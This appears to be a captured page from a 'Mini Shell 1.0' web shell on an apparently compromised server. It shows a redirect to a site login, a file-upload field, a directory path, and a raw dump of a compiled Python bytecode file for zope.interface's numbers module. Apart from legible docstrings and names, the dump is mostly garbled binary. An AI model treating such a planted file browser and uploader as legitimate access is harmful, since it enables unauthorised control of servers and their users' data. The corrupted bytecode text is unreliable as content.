HOME


Mini Shell 1.0
Redirecting to https://devs.lapieza.net/iniciar-sesion Redirecting to https://devs.lapieza.net/iniciar-sesion.
DIR: /lib/python3/dist-packages/zope/interface/common/__pycache__/
Upload File :
Current File : //lib/python3/dist-packages/zope/interface/common/__pycache__/numbers.cpython-311.pyc
�

JDvc\����dZddlmZddlZddlmZddlmZddlm	Z
Gd�de��ZGd	�d
e��ZGd�de��Z
Gd
�de
��ZGd�de��ZdS)z�
Interface definitions paralleling the abstract base classes defined in
:mod:`numbers`.

After this module is imported, the standard library types will declare
that they implement the appropriate interface.

.. versionadded:: 5.0.0
�)�absolute_importN)�ABCInterface)�optional)�PYTHON2c��eZdZejZdS)�INumberN)�__name__�
__module__�__qualname__�abc�Number���?/usr/lib/python3/dist-packages/zope/interface/common/numbers.pyrr$s������

�*�C�C�Crrc�T�eZdZejZed���Zered���ZeZ	dSdS)�IComplexc��dS�z<
        Rarely implemented, even in builtin types.
        Nrrrr�__complex__zIComplex.__complex__+����rc��dS�zS
            The interpreter may supply one through complicated rules.
            Nr��others r�__eq__zIComplex.__eq__2rrN)
r	r
rr�Complexrr�PY2r�__ne__rrrrr(sb������

�+�C�
����X��
��	�	�	�
��	�
�����rrc�\�eZdZejZed���ZexZZe	red���Z
e
ZdSdS)�IRealc��dSrrrrrrzIReal.__complex__=rrc��dSrrrs r�__le__zIReal.__le__FrrN)r	r
rr�Realrr�	__floor__�__ceil__rr#�__lt__rrrr r :sl������

�(�C�
����X��
'�&�I��
��	�	�	�
��	�
�����rr c��eZdZejZdS)�	IRationalN)r	r
rr�Rationalrrrr)r)O�������

�,�C�C�Crr)c��eZdZejZdS)�	IIntegralN)r	r
rr�Integralrrrr-r-Sr+rr-)�__doc__�
__future__r�numbersr�zope.interface.commonrr�zope.interface._compatrrrrr r)r-rrr�<module>r4sA����'�&�&�&�&�&�����.�.�.�.�.�.�*�*�*�*�*�*�1�1�1�1�1�1������l���������w����$�����H����*��������������	�����r